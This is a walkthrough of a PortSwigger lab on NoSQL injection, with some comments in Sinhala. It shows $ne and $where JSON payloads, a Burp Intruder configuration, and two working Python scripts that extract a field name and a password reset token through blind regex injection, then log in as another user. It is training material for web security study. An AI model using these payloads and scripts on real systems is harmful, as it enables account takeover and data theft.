PortSwigger

Lab Description

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.

Objective: Log in as carlos.

Tip: First extract the value of the password reset token for the user carlos.



Step 1: Capture the Login Request

  1. In Burp’s browser, attempt to log in with carlos:invalid
  2. Observe: Invalid username or password error
  3. Capture the POST /login request and send to Repeater


Step 2: Test $ne Operator

Change password to {"$ne":"invalid"}:

{
    "username": "carlos",
    "password": {"$ne": "invalid"}
}

Response: Account locked error

The $ne operator is accepted → Application is vulnerable.


Step 3: Confirm $where Injection

Add $where parameter to the JSON:

False condition:

{
    "username": "carlos",
    "password": {"$ne": "invalid"},
    "$where": "0"
}

Response: Invalid username or password

True condition:

{
    "username": "carlos",
    "password": {"$ne": "invalid"},
    "$where": "1"
}

Response: Account locked

JavaScript in $where is being evaluated.


Step 4: Enumerate Field Names

Payload structure:

"$where": "Object.keys(this)[§0§].match('^.{§1§}§2§.*')"

What this does:

  • Object.keys(this) → Lists all fields of the user object
  • [§0§] → Index of the field (0, 1, 2, …)
  • match('^.{§1§}§2§.*') → Tests if the character at position §1§ equals §2§

Intruder setup:

SettingValue
Attack typeCluster Bomb
Position 1Numbers 0-20 (field index)
Position 2Numbers 0-20 (character position)
Position 3All characters (a-z, A-Z, 0-9)

Sort by Payload 1, then Length:

  • Successful matches return Account locked
  • Characters in Payload 3 spell out the field name Example: username

Step 5: Find All Fields

Repeat the process, incrementing the index:

IndexField Name
0_id (or similar)
1username
2password
3passwordResetToken (or similar)

Identify the password reset token field (e.g., resetToken).


Step 6: Verify the Field Name

Test on /forgot-password endpoint:

GET /forgot-password?resetToken=invalid HTTP/2

Response: Invalid token error

Confirms the correct field name.


Step 7: Extract the Token Value

Payload:

"$where": "this.resetToken.match('^.{§0§}§1§.*')"

Use python script for it

import requests
import string

  

BASE_URL = "https://0a2400be03fb146a81052a1600c900fa.web-security-academy.net"

LOGIN_URL = BASE_URL + "/login"

  

# Session cookie (Burp එකෙන් copy කරගන්න)

COOKIES = {

    "session": "dffgTncu0tlBCWqP7qXvAxJS8Xtp0OjU"

}

  

HEADERS = {

    "Content-Type": "application/json"

}

  

# characters to test

CHARS = string.ascii_letters + string.digits

  

field_name = ""

  

print("[*] Extracting Object.keys(this)[1] ...")

  

for position in range(0, 20):  # max field length guess

    found = False

  

    for ch in CHARS:

        payload = {

            "username": "carlos",

            "password": {"$ne": "invalid"},

            "$where": f"Object.keys(this)[1].match('^.{{{position}}}{ch}.*')"

        }

  

        r = requests.post(

            LOGIN_URL,

            json=payload,

            headers=HEADERS,

            cookies=COOKIES

        )

  

        if "Account locked" in r.text:

            field_name += ch

            print(f"[+] Found char at pos {position}: {ch}")

            found = True

            break

  

    if not found:

        print("[*] No more characters, stopping.")

        break

  

print("\n[✓] Extracted field name:", field_name)

1st

ඊළඟට එකම script එක
මේ change එක කරන්න 👇

Object.keys(this)[3]

👉 Run කරන්න

2nd

3rd

4th


Step 8: Reset Carlos’s Password

Use the token:

i use python script


import requests

import string

  

BASE_URL = "https://0a2400be03fb146a81052a1600c900fa.web-security-academy.net"

LOGIN_URL = BASE_URL + "/login"

  

COOKIES = {

    "session": "dffgTncu0tlBCWqP7qXvAxJS8Xtp0OjU"

}

  

HEADERS = {

    "Content-Type": "application/json"

}

  

CHARS = string.ascii_letters + string.digits

token = ""

  

print("[*] Extracting resetPwdToken VALUE...")

  

for pos in range(0, 40):   # token length

    found = False

    for ch in CHARS:

        payload = {

            "username": "carlos",

            "password": {"$ne": "invalid"},

            "$where": f"this.resetPwdToken.match('^.{{{pos}}}{ch}.*')"

        }

  

        r = requests.post(

            LOGIN_URL,

            json=payload,

            headers=HEADERS,

            cookies=COOKIES

        )

  

        if "Account locked" in r.text:

            token += ch

            print(f"[+] Found char {pos}: {ch}")

            found = True

            break

  

    if not found:

        break

  

print("\n[✓] FULL TOKEN:", token)

Found


Step 9: Log In as Carlos

  1. Username: carlos
  2. Password: hacked123
  3. Click Log in


Step 10: Lab Solved